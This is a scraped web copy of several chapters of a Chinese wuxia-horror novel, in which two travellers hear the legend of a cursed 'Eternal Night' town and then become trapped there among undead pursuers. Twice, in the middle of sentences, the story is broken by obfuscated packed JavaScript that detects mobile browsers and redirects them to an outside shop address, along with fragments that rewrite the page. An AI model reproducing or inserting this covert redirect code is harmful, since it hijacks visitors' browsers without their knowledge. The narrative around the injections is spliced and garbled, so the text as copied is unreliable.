七星楼上,帘幕被风吹起,一人背对康忱守而立。他面对着青山云雾,高飞鸿雁,双手背在身后,广袖飘动, 康忱守敛袖行礼,恭敬道:“教主。” 那人道:“瑚庄的事怎么样了?” 康忱守道:“属下已经派南护法和尹长老前去。” 那人嗯了一声,道:“我听说武林盟主那边有东西送来。” 康忱守道:“是。是卫尧觉的亲笔书信。” 那人道:“哦?信上写了什么?” 康忱守道:“卫尧觉提议和我们结盟。” 那人哈哈笑道:“当年‘剿魔’的盟主,子孙后代却来求‘妖魔’帮忙。”他敛了笑意,“这件事,他没让其他人知道吧?比如聊氏,又比如……岑氏。” 康忱守道:“没有,他也不想让别人知道,聊氏是他的死对头就不说了,至于岑氏嘛……他要与我们合作,正是为了对付岑氏。” 那人道:“哼,他与岑氏结盟,却也信不过这个盟友,真是各怀鬼胎。” 康忱守道:“那么,教主的意思是?” 那人道:“他给的条件是什么?” 康忱守道:“他说,一切障碍扫清后,到时与玄同教白道□□平分武林,互不干涉。” 那人道:“他既找上门来,我们答应就是,具体怎么做,你看着办就好。另外,水南那边应该要有大事发生了,派几个可靠的人去盯着,随时送消息回来。” 康忱守道:“是。” 那人又道:“瑚庄的事怎么样了?” 康忱守忙道:“属下已经派了南护法和尹长老前去。” 那人道:“嗯,这两人也算稳妥。”他顿了顿,突然轻轻地叹了口气,道:“仅谆的后人……竟也有了异心么……” 康忱守站在那,默然不语。 那人道:“白葭膏还没找到么?” 康忱守道:“水东、水南都派人去了,可仍是没能寻到。” 那人语气中含了些微不可察的急躁,道:“再让人找,无论如何,都要找到那东西。忱守,若没别的事,你下去吧。” 康忱守道:“是。”拱手倒退几步后,转身离开。 康忱守离开后,那人一手扶上栏杆,闭上眼极深地喘了几口气。 现在的他,无比急切地要得到白葭膏。 55. 永夜(一) 雨馀凉和姬花青朝踏紫陌,暮践红尘,几乎片刻不停地赶路,终于来到离临蓟只有数百里处的所在。 如今的时节,暑气已经有些上来了,于是二人加长了早上和夜晚赶路的时间,在正午日头最毒辣的时候歇息。 这日雨馀凉和姬花青行走在林间,雨馀凉道:“这林子好大,从昨天走到现在都还没走出去。” 姬花青道:“是大得有些离谱,不过我们穿过这片树林,应该就到山阴东路了。” 雨馀凉知道临蓟便在山阴东路,想到自己离临蓟已经越来越近,内心竟有些紧张。 二人又走了一阵,姬花青见头顶树枝的影子笔直地投射在地上,知道已近正午时分,正要跟雨馀凉说歇息一番,忽瞥见树木枝叶掩映间,似有炊烟依依升起。 姬花青凝目细视,只见那炊烟是从一根烟囱冒出,而烟囱之下,似是一间小屋。 姬花青道:“馀凉,咱们今天中午兴许可以吃上热饭,不用再啃干粮了,你看。”说着将那小屋所在的方向指给雨馀凉。 雨馀凉顺着姬花青所指的方向看去,也依稀看到了那间小屋。 姬花青道:“我们去问这户人家买一顿饭。” 雨馀凉道:“那个,花青前辈,我们之前不是快没钱了吗,用了这么久,应该已经完全没有了吧?” 姬花青笑道:“那点钱,早就使完了,是之前在鸿州时,秦椿秦总镖头说我们好歹也跟着镖队押了一段镖,于是给了我十两银子,权作押镖的酬劳。” 于是二人向小屋走去。走近一看,只见这小屋是用茅草搭成,屋外围着一圈用树枝做成的篱笆,篱笆内喂养着一群鸡,正咯咯咯地叫着,走两步便往地上啄几啄。忽听得一声豁啦啦的响,是往油锅里下菜的声音。雨馀凉和姬花青这几日都在荒山野岭间赶路,除了对方外再没见过别的什么人,此时陡然看见一座茅草屋,嗅到了人烟的气息,都觉得有些恍如隔世。 茅草屋的门是开着的,姬花青上前几步,正要开口,雨馀凉道:“花青前辈,我来。”说完向着茅屋大声道:“有人吗,在下二人路过此间,想求一顿饭。” 无人应答,只听见后厨锅里的油滋滋响着。 雨馀凉又加了一句:“报酬好说。” 依旧无人回答,过了好一阵,才有一个人慢慢从后屋走出。那是个中年妇人,她来到门边,并未走出屋子,一手扶着门,一手背在背后,警惕地看着门外的雨馀凉和姬花青。见雨馀凉是个俊美少年,姬花青又是个年轻女子,神色稍微放松了些,道:“你们是谁?” 雨馀凉略一颔首,道:“我们是过路的旅人,在这荒山之中行走多日,路过此处,见有人家,于是来求一顿饭,报酬的银子也是有的。” 那中年妇人的眼神又在雨馀凉和姬花青之间来回逡巡一番,最终道:“两位请进屋吧。”说着松开了扶着门的手,转身走进屋内。 雨馀凉这才看见,那妇人先前背在身后的手中握着把菜刀。 中年妇人领雨馀凉和姬花青走到整间屋子中唯一的木桌前,木桌旁本来只有一只板凳,她又进里屋拿了两条板凳出来。那妇人请姬雨二人坐了,道:“二位稍等,菜要过会才好。”说完又走进了厨房。 雨馀凉坐在桌边,观察着屋内四周。只见墙上挂着农具、蓑衣等物事,整间屋子陈设简单,家具陈旧,但收拾得十分整洁。 过了一会,中年妇人从厨房出来,将菜肴碗碟依次摆在桌上,又在雨馀凉和姬花青面前各放了一碟炒花生米。她双手一边在腰间系的围布上擦着,一边道:“不知有客人要来,我再去添两个菜来。” 姬花青忙道:“姐姐,不必了,原是我们叨扰,我们吃了这顿饭就走,姐姐快坐下一起吃吧。” 妇人听姬花青这么说,笑着道:“诶。”遂也坐下。 姬花青道:“不知姐姐大名?” 妇人笑道:“什么大名,叫我阿翠就行,这位妹妹和小兄弟怎么称呼?” 姬花青嘻嘻笑了,道:“我是姬花青,他是雨馀凉。” 雨馀凉挑起一夹带着汤汁的莴笋叶,和着白饭吃了,称赞道:“阿翠姐烧菜的手艺真好,我好久没吃过这么好吃的菜了。” 阿翠略有些不好意思,但显得十分开心,道:“不是我烧得好,是菜新鲜,都是今天刚摘的。我在屋后垦了一块地,菜都是自己种的。” 姬花青透过窗户往屋后看去,果见一片绿油油的菜畦。那蛋炒黄瓜十分清香,她也忍不住多吃了一碗饭。 阿翠道:“不知二位是去往何处?怎么到这地方来了?” 姬花青道:“我们是要去往临蓟,之前不小心走岔了路,偏离了大道,但既偏得太远,也不好再回到大道上,干脆翻山穿林,这才来到这里。” 阿翠道:“原来是这样,你们从我这出去后,一直往北走,翻过一座山头,就是山阴东路境内了。” 姬花青道:“谢谢姐姐指路。” 阿翠蓦地肃然道:“不过你们往北走时,要当心一座镇子。” 雨馀凉道:“一座镇子?” 阿翠点点头,道:“那是一座鬼镇。” 阿翠此言一出,姬花青咀嚼的动作不知不觉间慢了下来,阿翠继续道:“里面有鬼,不骗你们,所以你们只要远远地看见有一座镇子,赶紧走,不要停留,更不要接近,不少靠近这座镇子的人都失踪了。从外面看去,那是一座平常的镇子,但只要一走进去,便永远也出不来,且那镇子里没有白天,只有黑夜,所以我们这的人又叫它永夜镇。” 此时屋外阳光明媚,初夏的天光十分亮堂,所以听阿翠说起鬼啊什么的,雨馀凉只觉得离自己很遥远,并未感到多么恐惧。 雨馀凉道:“可既然进去了就出不来,又为什么会知道那里面只有黑夜没有白天呢。” 阿翠道:“这……我也不知道,不过老人都是这样传的。” 姬花青道:“怎么会有这样一座鬼镇?它是什么时候就有的?既然老人都在传,那它应该出现得很早。” 阿翠道:“是很早,大约一百年前的样子,它就在那了。” 听阿翠说出了一个具体的时间,姬花青意识到这鬼镇应该不是那种编来吓唬小孩不要进山的怪谈,只听阿翠继续道:“一百年前,那座镇子不叫鬼镇,也不叫永夜镇,而是叫梨昌镇。一天,镇上一对姓关的父女从外地探亲回来,途经郊外,看到路旁俯趴着着一个满身是伤昏死过去的汉子,父女俩看这汉子还有口气,便将其带回镇上家中养伤。汉子醒来后,告诉这对父女自己是做生意的,前几天带着一批货物走山路,不想却遇见劫匪,商队里其他人都死了,只有自己逃过一劫,拼命跑到这大路上,但伤势太重,昏倒在了路边,幸好被父女二人所救。” “然而,这汉子的真实身份却是血手寨的一个当家,血手寨位于群山之中,平日专靠抢劫过路客商过活,血手寨的几个当家武功都十分高强,所以尽管江湖上很多仁侠义士都听说过这个寨子作恶多端,却也无计可施,有侠客前去剿灭,却都有去无回。然而有一天,血手寨却来了一个不速之客,只一人便将整个寨子剿得干干净净。这汉子当时身受重伤昏死过去逃过一劫,醒来后见寨中人死光了,便跌跌撞撞地往山下走,昏倒在路边,刚好被这对关姓父女看到救了回来。这贼人内心非但不感激这对父女的救命之恩,还看上了人家的女儿,待得伤好得差不多后就让关老汉把女儿嫁给自己,言语中竟有强逼之意。” 雨馀凉“啊”了一声,只觉人性之恶,实在超出自己想象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043384|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿翠道:“小兄弟也觉十分无耻,是不是?”她继续道:“恰好有镇民从这山贼的随身物件中认出了血手寨的信物,赶忙告诉关老汉,关氏父女这才晓得自己带了个瘟神回来。可带回来容易,如今怎么把此人打发走?此时镇中有人得到消息,说血手寨被人破了,镇中人一合计,这下不用怕血手寨日后报复,便决定合伙将这恶贼杀了。这贼人凶悍无比,镇中人没和他硬碰硬,而是设计取了他性命,饶是如此,还是有几个镇民被打伤。这山贼死时,说自己要变成厉鬼回来杀了所有人。待他咽气后,镇民将其尸体埋在了镇外。” “然而过了几日后,镇中人却莫名其妙接二连三地死去,于是镇民到镇上祠堂集会,共同商讨这件事。不想在在集会的那个晚上,一个镇民听见房梁上有异响,一抬头看见房梁上趴着一个人形的怪物,当即手指上方大叫起来。众人俱是一惊,抬头望去,只见那鬼怪身上有一半的皮肤已经腐烂,让人既是恶心又感恐惧。这怪物纵下房梁,抓住人是又用嘴咬又拿起手上的刀砍,底下的人登时乱作一团,尖叫、脚步声混杂在一起,不绝于耳。忽然有人凄厉叫道:‘是那贼人,是关老伯带回来的山贼!诈尸了,诈尸了!!!’此人在前些日子参与杀死了那贼人,埋那贼人的尸体时也有他,因此对这贼人的脸有印象,此时通过这尸怪尚未完全腐烂的脸认出了他来。” “那一晚,整个梨昌镇的人尽数被杀,包括关氏父女,也包括在守在家中,未去祠堂参加集会的妇人孩童,甚至前来此地歇脚的外地客商也没能逃过。镇子里尸积如山,血流成河,从那以后,梨昌镇就成了一座鬼镇,并且从此被黑夜笼罩,再不会迎来白天,人们都说是怨气冲天所致。从前的梨昌镇,也算是个繁荣的小镇,可自从那件事之后,再无人敢轻易靠近,如今已经隐在密林之中了。” 姬花青和雨馀凉听她说得绘声绘色,都感到有些毛骨悚然,两人顿时没了继续吃饭的胃口。 雨馀凉道:“我还是感到很奇怪,既然镇子里面目睹这件事的人都死了,又为什么有这样的传说流传下来呢。” 阿翠道:“听说那时有镇民侥幸逃出来了,后来他与附近村子里的人成了亲,现在那村子里的很多人都是他的后代。” 姬花青道:“有这样一座镇子存在,都没人出来管一管吗?” 阿翠道:“姑娘啊,这里是几路的交界处,是三不管的所在,都不觉得永夜镇在自己统辖范围内,何况有关永夜镇的事又是那么的棘手邪门,所以也就任它在那了。” 听阿翠提到尸变的人,雨馀凉脑海中浮现出了在谷州府时,包括鲍楚楚父亲在内的那些狱卒的影子。他忽然没来由地想到,这两件事之间,会不会有什么联系?可两者间隔了一百年,又能有什么关联? 草草一饱后,姬花青和雨馀凉与阿翠作别,姬花青要给阿翠银子,阿翠坚决不收,如此相互推了几番,便也作罢。 离开前,姬花青道:“姐姐独居于此么?” 阿翠将一缕头发别在耳后,道:“是。我喜欢这种自食其力,自给自足的日子。” 从阿翠那出来后,姬花青和雨馀凉继续往北走。姬花青道:“我们运气好,碰上了一户不错的人家。” 雨馀凉道:“……花青前辈,阿翠姑姑讲的那个故事,会是真的吗?”那绝不是个让人感到舒服的故事。 姬花青微微打了个寒战,道:“我也不知道……”她这个寒战的幅度很小,雨馀凉并未察觉。 雨馀凉挤出一个笑,道:“不过,就算真有这样一个镇子,我们远远地绕开就行了,也真是多亏了阿翠姑姑提醒。” 姬花青道:“嗯。” 下午的阳光斜斜地照射进树林,林中十分安静,周围似乎只回荡着两人脚踩在落叶上的声音。 56. 永夜(二) 太阳已经完全落山很久,白天的树木变成了幽幽幢幢的影子。姬花青晃亮了火折,与雨馀凉继续赶路。 姬雨二人已望见了远处的山头,都想今晚就翻过去,早点到达山阴东路地界,何况听阿翠说了永夜镇的传闻后,两人更不想在这片树林多耽。 两人行了这许久,也没看见有什么镇子,都在心里暗想,阿翠口中的传闻,看来终究只是传闻而已。 然而不知为何,雨馀凉走着走着,越来越觉得旁边的树木似乎太过笔直,简直就像什么建筑的柱子一样。他忍不住往旁边看了一眼,这一看,雨馀凉几乎呆立在原地。 在他两旁的,不是树木,而真的是笔直的柱子,上面还残有未完全剥落的彩漆。 雨馀凉一惊,抬头往上看去,发觉自己正站在一座牌坊正下方。他再往前看去,只见自己正站在一条笔直的青石板街道上,街道两旁是各类店铺。 他不是走在树林里吗?怎么恍惚之间,自己就似乎来到了…… 来到了一座……镇子上…… 雨馀凉背上出了一层冷汗,叫道:“花青……花青前辈……” 没想到雨馀凉刚叫出声,姬花青就立即低声喝止他道:“别出声!” 雨馀凉看向身边的姬花青,只见她眼睛微微睁大,表情僵硬。他第一次看见姬花青脸上出现这么奇怪的表情,比起眼前的怪象,姬花青的表情更让他心慌。 姬花青猛地回头,似是倒吸了一口凉气,雨馀凉也回头看去,也是心惊不已,只见二人来时的树林不知何时也已变成了街道。 这下别说什么看见镇子绕得远远的了,现下他和姬花青已经身在一处镇子中,且立即回头也晚了,因为身后的路已经变成了镇子的一部分。 雨馀凉见姬花青愣在原地久久不再动作,似乎已经停止了思考,于是开口小声道:“花青前辈,我们继续走吧,你看前面。”他说着抬头往街道尽头望去,“你看那边,也有一座牌坊,那座牌坊后是树林,这条路似乎就通往镇子外面。” 姬花青听了雨馀凉这番话,也往前望去,只见真如雨馀凉所说,牌坊后就是树林,内心略微平复了些,道:“好,走……走吧。” 两人沿着青石板街道行进,雨馀凉突然感到姬花青挨得离自己很近,他身形颀长,侧头往旁边看去,能看到姬花青的头顶。 雨馀凉心里也是有些慌的,但他仍安慰姬花青道:“咱们满眼只有将要翻越的那座山头,又着急赶路,就没注意周边的景象,连不知不觉走出了树林都没发现。” 姬花青没有说话。 雨馀凉继续道:“难道这座镇子就是永夜镇?可我们走了这么久,明明什么都没有啊。也许这附近不止一座镇子,这不是永夜镇,而是另一座镇子,小镇上的人都睡得早,所以街道上这么安静,又早早熄了灯。花青前辈你看,那牌坊越来越近,我们已经快走出去了。” 姬花青依旧没说话,但雨馀凉注意到她拿着火折的手指尖在轻轻颤抖。 雨馀凉道:“那个什么传闻啊,说不定从一开始就是假的,或者曾经是发生过这种事,但一传十,十传百,越传越邪乎,人们在传的过程中总喜欢添油加醋嘛,最终就成了那个样子啦,其实都是自己吓自己。就算我们现在所在的这座镇子就是永夜镇,但那啥,阴森是阴森了点,却也没闹鬼,一不小心走了进来,再走出去不久行了。”他说这些话时,根本没意识到,自己的声音也在微微发抖。 两人行进时,不时有飞蛾朝他们扑来,有好几次都扑到了二人的脸上。大约是附近只有姬花青的火折闪着亮光,所以越来越多的蛾子聚集过来,如同黑雪一般纷纷扬扬落下。 两人只能一边走一边挥舞着手臂将飞蛾赶开,然而走着走着,姬花青突然停下了脚步,声音颤抖道:“馀凉!馀凉……” 雨馀凉道:“前辈,怎么了?” 姬花青道:“你……看旁边……” 姬花青虽让雨馀凉看旁边,但她自己仍平视前方,雨馀凉往自己右边看去,那里空荡荡的并无一物。 姬花青道:“不是,看我这边。” 雨馀凉这才又往自己的左边,越过姬花青的身影看去,他一眼就看见一块被漆成红色的,十分醒目的巨大牌匾。 雨馀凉突然意识到,自己似乎在哪里看到过这块牌匾。 忽然之间,他浑身的血液似乎都停止了流动,这块牌匾,他在刚发觉自己进入镇子时看到过。再往那牌匾下方一看,牌匾下面的店面,也是之前自己看到的那家。 这是……遇到鬼打墙了。 雨馀凉抬头,意识到自己和姬花青走了这么远的路,但道路尽头的那座牌坊还是显得那么遥远,他又将头转到后方,回头的同时,脊柱攀爬上一阵麻意,雨馀凉结结实实地打了个寒战。等身上这股麻意过去后,雨馀凉看清他们身后是笔直的街道,而最开始他们头顶的牌坊已经看不见了。 除开这些以外,雨馀凉还察觉到了一件十分诡异的事,而这一现象的诡异之处他一开始竟然没意识到。那就是街道两旁的店铺门面都是开着的,这是晚上,街上明明一个人都没有,如果人们回去休息了,为什么都不关店门呢。并且这些店面中同样一个人都没有,没有老板,也没有伙计小二,店铺里面黑洞洞一片,在此情此景下,很难不让人怀疑里面会有什么奇怪的东西。 姬花青嘴唇颤抖着张合了几下,想要说什么,却一个字也没说出来,似乎已经发不出声音,又似害怕打破这诡异的安静,而一旦这安静被打破,就会发生什么难以预料的事。 忽然之间,街道的那一头传来一阵脚步声。 这脚步声一响,姬花青浑身的汗毛都竖了起来,那脚步声越来越近,然后在某一刻突然加快,似乎是朝姬雨二人狂奔而来,姬花青强忍住转头就跑的冲动,将火折塞到雨馀凉手上,喝道:“拿着!”然后锵的一声抽出刀,下一刻一道人影便朝姬花青扑来,姬花青看清来的是个人,心中惧意消去大半,攥紧刀柄横刀一砍,以往感受过无数次的触感经由刀身传到姬花青手上,姬花青知道,这人的脊柱已被自己砍断。 就在姬花青以为已经结束了的时候,那人四肢突然在地上快速划动,因为脊柱已经折断,所以他的躯体扭曲成一个十分诡异的姿态,但就像感觉不到疼痛一般,他面无表情,或者说面部表情十分空洞地直直盯着姬花青,飞快朝后者贴地爬来。 姬花青啊地尖叫一声,叫声包含了十分的怖惧,双腿一软,当即就坐到了地上。眼见那人似虫非虫地爬过来,就要将姬花青抓住,可她不知是被吓懵了还是什么原因,不仅站不起来,竟坐在原地迟迟没有动作,雨馀凉再也顾不上那许多,将姬花青打横抱起,拔腿就跑。 不知什么时候,许许多多的“人”一下从四面八方冒了出来,都双手前伸,摇摇晃晃地跑过来要抓住二人。雨馀凉抱着姬花青一路狂奔,从“人群”之中突围了出去,姬花青只听得耳边呼呼风响,还夹杂着那些“人”时远时近的低吼咆哮。 雨馀凉跑了好一阵,将后面那些“人”远远甩开后,最终大着胆子闯进了一家店铺里面,又两三步蹿上二楼,进到走廊靠里的一间屋内,见屋内有一个大柜子,于是将姬花青放下,将柜门打开后,先将姬花青抱了进去,随后自己也进了衣柜,从里面将柜门关上。 四周一下变得全黑,伸手不见五指,雨馀凉在黑暗中兀自喘着粗气。柜子空间逼仄,雨馀凉一口气呼过姬花青颈边,姬花青身子不由自主地颤了颤。 雨馀凉一颗心战若擂鼓,这镇子,太邪门了,那些东西绝不是活人,难道真的是闹鬼么? 过了一会,雨馀凉突然听见了噔噔噔上楼的脚步声,他心头一震,本来靠在柜子内壁的身子坐直起来,凝神听着外面的动静,同时握紧了手中长刀的刀柄。 听脚步,来的不止一鬼,那些鬼似乎在隔壁和对面房间走来走去,雨馀凉大着胆子,将柜门微微打开一条缝,透过这条极细的缝往外望去,只见房间外面走廊上几只鬼来来往往,忽然有一只鬼转向了雨馀凉和姬花青所在的房间,雨馀凉赶紧将柜门关好,坐正了身子,做好了随时拔刀的准备。 随后那鬼的脚步声便回荡在两人所在的这间屋子中,雨馀凉听见它先去到房间左侧,随后去到房间右侧,最后来到柜子跟前,并在柜子前面久久徘徊不去。 雨馀凉的心都提到了嗓子眼,他已经做好了柜门被一下打开的准备,然而出乎他意料的是,这样惊悚的时刻最终并未到来,与之相反,那鬼的脚步声逐渐远去,最终出了他们所在的房间。 又过了一阵,雨馀凉听到那些脚步声从楼梯走下并远去,四周再一次恢复了寂静。 便在此刻,雨馀凉看见自己对面微弱的白光一闪,知道是姬花青将刀无声地收回了鞘中,心道姬花青也跟自己一样,直到刚刚才松了口气。 雨馀凉心想,这些东西似乎还有点智慧,它们远远地看见我进了这家门面,便知道进来找寻,还走上楼来,虽然有点智慧,但又不是很多,不知道将柜子箱笼之类的地方打开来看看。 在去到阿翠那之前,雨馀凉和姬花青本就从大清早开始赶路,从阿翠家离开后,为了要尽快翻过山头,两人更是一直走到了深夜,加上方才又受了巨大的惊吓,此刻略微平复下来,都感到困意上涌。 雨馀凉上下眼皮打着架,困得不行,一开始只想稍微闭会眼,没想到就此便沉沉睡去。 睡梦中,雨馀凉仿佛看见眼前刀光剑影,鲜血横飞,正当他十分害怕,不知要怎么办才好时,一双有力的手将他抱起,他的心一下安定了下来。 等他再次醒来时,一时有些恍惚,不知自己身处何处,过了一会才想起自己睡着前所发生的一切,柜子里什么都看不到,他突然想到姬花青,不知道姬花青还在不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050117|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边,于是赶忙向前摸索。 等雨馀凉触到一片柔软的布料,他才略微放下了心。 姬花青似乎是感受到了雨馀凉的动静,用极轻的声音道:“馀凉,你可知从我们进到这里开始,到现在过了多少时候了?” 雨馀凉不知道这个问题的答案,还未等他回答,姬花青道:“我感到这个夜晚格外漫长,毕竟在我们进这个镇子前,就已经走了很久的夜路了……你还记得阿翠跟我们说永夜镇之所以叫永夜镇的原因吗?” 雨馀凉道:“因为怨气冲天,所以从此被黑夜笼罩,再不会迎来白天。” 姬花青本来是想听他说“因为永远都是黑夜,所以叫做永夜镇”,从而点出这镇子不是其他什么镇子,正是阿翠口中的永夜镇。但没想到雨馀凉将阿翠的话记得很清楚,还加上了“怨气冲天”几个字,姬花青听到这几个字,恐惧又如毒蛇般绕上了她的背脊,她感到整个人都不好了。 雨馀凉道:“看来这个镇子,就是阿翠姑姑所说的永夜镇了。” 姬花青点点头,虽然在这样的黑暗中,她点头雨馀凉也看不到,姬花青道:“馀凉,你有什么从这里出去的办法吗?” 雨馀凉先是沉默了一阵,随后道:“……啊?” 花青前辈她,是在问我吗? 雨馀凉一直认为,姬花青武功不知比他强了多少,江湖经验不知比他丰富了多少,再加上姬花青传授他武功,对他好,他心里将姬花青当做师父尊敬,所以这一路上,雨馀凉都觉得听姬花青的话是理所当然的,绝大多数事情也都是由姬花青决定,虽然姬花青也会征求他的意见,但他向来都是对姬花青道:“一切遵从花青前辈安排。” 姬花青六神无主地问他怎么办,这还是破天荒的第一次。 但但但他雨馀凉也只是个刚离开谷州刀派几个月的愣头青啊,姬花青都不知道怎么解决,他能知道?姬花青问他怎么办,还不如去问叉烧。 姬花青道:“在镇子中走会碰上鬼打墙,外面还有那么多……那么多那东西,杀也杀不死,就如阿翠所说,一旦进来,就永远也出不去,难道我们……真的要被困死在这里了吗?” 她娇柔嗓音微微发颤,雨馀凉见姬花青露出软弱的一面,心中顿涌怜惜之意,道:“花青前辈,你就待在这里,我出去看看,说不定能找到出去的办法。” 姬花青先没反应过来,随后才道:“什么?你要出去?” 雨馀凉道:“嗯,一直躲在这里不是办法。”说着便要推开柜门。 突然,雨馀凉感到手腕一紧,似是被一层温凉的触感包围了。过了一会他才意识到,是姬花青抓住了自己的手。 雨馀凉一怔,只感到她肌肤柔软。他和姬花青虽一路同行数月,但双方都刻意与对方保持着一定距离,姬花青教授雨馀凉武功,调整他出招的姿势时也是用刀鞘或树枝,并不直接与雨馀凉接触。 不说姬花青,这根本就是雨馀凉第一次与女子有直接的肌肤触碰,之前在谷州刀派时,他就没怎么和女弟子交流,连话都说不上一两句,更别说肢体相触了。唯一的肢体接触也是门派大较时,抽签抽到的对手是女弟子,然而这些肢体接触都是隔着衣料,偶尔能皮肤与皮肤直接接触,都是他出掌,对方也出掌,两掌相对的情况。然而每次大较他都紧张得要死,且双方过招很快,根本就没有其他心思。从谷州刀派出来后,和鱼晚衣倒是颇有几次肢体接触,不过都是隔着双方衣衫。如此和女子肌肤长时间的相触,倒是他人生中头一遭。 雨馀凉只感到自己的左手似乎都不是自己的了,一股麻痒的感觉从双方皮肤相触的所在传来,只听姬花青道:“别走……别走……呜呜……” 雨馀凉一怔,她这是……哭了吗? 姬花青竟然哭了。 自从雨馀凉跟姬花青一道上路以来,虽然两人之间的关系并不紧绷拘束,但雨馀凉还是对姬花青有一种油然而生的敬畏,大约是将姬花青当做自己的授业恩师的缘故,跟姬花青在一起,雨馀凉不能完全地放松,总是感到一股无形的压力。 此时姬花青这么一哭,倒让雨馀凉有些不知所措。 雨馀凉柔声道:“花青前辈,可是如果我不去的话,我们永远也无法离开这里,冒险一拼,说不定还有出去的机会。” 姬花青明白他说的道理,只是心里的那道坎难以过得去。过了良久,她终于慢慢松开雨馀凉的手,道:“那你一定要回来。” 雨馀凉道:“嗯,一定的。” 雨馀凉慢慢推开柜门,先开始仍是只打开了一条缝,确定外面没什么东西后,便蹑手蹑脚地出了柜子。 在雨馀凉即将转身离开前,姬花青道:“你……你要小心,千万要小心……” 雨馀凉道:“花青前辈,你放心吧,我会回来。” 柜门又关上了,雨馀凉的身影消失在狭窄的缝隙之后。 57. 梦魇(一) 姬花青一直保持着右手握在刀柄上的动作。 她虽然困倦,但一直没敢合眼,雨馀凉离开后,她再也支持不住,昏昏沉沉间不知不觉睡去。 恍惚间,只听见耳边惊雷轰响,尖叫声此起彼伏,黑影在她四周晃来晃去,乃至触上了她的脖颈脸颊。 姬花青大为怖惧,用力睁开双眼,一睁眼,方才那些恐怖的东西似乎在一瞬间全部缩进了墙角,匾额和柜子后面,所有令人肝胆俱裂的巨响也在一瞬间烟消云散,但梦里那种极度的恐怖仍包围着她,并未消散。 在这种情况下,姬花青不敢再睡着了,因为只要一闭上眼,她甚至觉得自己还没睡着,噩梦就立即开始,潮水般的声响又从四面八方涌来,魑魅魍魉又从各处钻出来拽住她的四肢,使她的背脊滚上一阵剧烈的麻意。 于是她只能又将眼睛睁开。 她有很多年没像这样噩梦连连了,如今经历的这些让她仿佛回到了很久很久以前。 说来奇怪,来到这里后,姬花青虽然能感受到困意,却没有感到饥饿,连口渴的感觉也没有。因为这里一直是夜晚,所以姬花青不知道时间过去了多久。她感觉过去了很久了,但她自己也知道,尤其是在这种时候,人的感觉是最不能够相信的,她觉得过去了几天,或许实际上一个晚上都还没过去。 姬花青虽然强撑着不让自己睡着,但又实在抵不住困意,每次一不留神睡着后都是从噩梦中惊醒,如此反复了至少有七八次后,姬花青觉得自己再也忍受不了这种折磨,她要崩溃了。 心神恍惚间,她忽然意识到有哪里不对,她能看见自己的衣袖,能看见自己握着刀的手,甚至能看见自己蜷缩着的双腿,衣柜里的光线似乎变亮了。姬花青侧头看去,这才发现柜门不知何时被打开了一条缝。 更为惊悚的是,那条缝的后面露着一只沾满灰尘的黑靴子。姬花青看到这只靴子的同时身体一颤,慢慢抬头往上看去。 柜门外赫然站着一个人,或者说,一个鬼,或者说,一个曾经是人的鬼。 姬花青浑身都僵硬了。 这鬼虽然打开了柜门,却似乎并没有发现姬花青,而是在柜子里左闻闻右闻闻。姬花青这时才发现,它双眼眼眶里黑洞洞的。 这是个眼睛被挖去的鬼。 姬花青不知自己是幸还是不幸,她怕被发现,连手指头都不敢动半寸。 那鬼不断地嗅,最终嗅到了姬花青的面前,姬花青与它的脸近在咫尺,简直紧张怖惧得要疯掉,只得屏住呼吸,喉头想要吞咽也只能尽力忍住。可此时姬花青已控制不了自己的身体,她心里很清楚,不能有一丝一毫的动作,否则就会被发现,但在极度的恐惧下,她的身体止不住地发抖,拼命忍也忍不住,并且这颤抖的幅度越来越大,还有越发剧烈的趋势。 终于,抖得如筛糠般的姬花青成功引起了那鬼的注意,它狂躁起来,喉咙里发出非人的咆哮。 姬花青身子一颤,惊醒了。 她望着黑洞洞的四周,意识到自己还好好地在柜子里,柜子外面很安静,也没有什么鬼或人来将柜门打开。 原来刚才只是她在做梦。 逐渐地,姬花青记不得自己已经睡了几觉了,她只知道每次睡着都是一场折磨。 在此之前,姬花青从来没有觉得失去了对时间的感知是一件多么痛苦的事,甚至从来没想过这个问题。她觉得像是过了几天,虽然实际上可能并没有过几天,但万一真的过了几天的时间,而雨馀凉还没回来…… 他不会是…… 雨馀凉跟她学了这么久武功,肉眼可见地在进步,也越来越勇敢可靠,但这里的鬼被砍断了脊柱都没事,他一个人…… 一旦开始担心起这个问题,不安便在心中扩散开来。 在这里一直感受不到饥饿口渴,难道说自己已经快变成鬼了?以前误入这镇子的人是不是也是这样逐渐变得和那些鬼一样的?从此以后自己也成了在这永夜镇里的游魂,永远在这里徘徊,然后去追赶像自己和雨馀凉这样闯入镇子的活人?那个时候,变成鬼的自己还有意识吗?自己还是自己吗? 不知为何,她突然想起很多以前的事,心中突然蹿起一股无名火来。 一个问题浮现在她脑海:成为怨魂永困于此和世事人心,哪个更可怕? 不,不不不,她还有事情要做,这件事她必须去做!不完成这件事,她做鬼也不会甘心! 她要先找到雨馀凉,然后再想办法从这里出去! 打定主意,她便侧耳细听外面的动静,确定没有异响后,又将柜门微微打开一条缝向外观察,最终又慢又轻地推开柜门,从柜子里走了出来。 姬花青刚从柜子里探出身来,就觉整个下半身都酸麻难当,她缓了一会,便轻手轻脚往房间外面走去。 她出了店铺,又走上长街,外面果然还是黑夜。只是这一路上都没碰见一个鬼,就跟她和雨馀凉刚进这座镇子时一样。 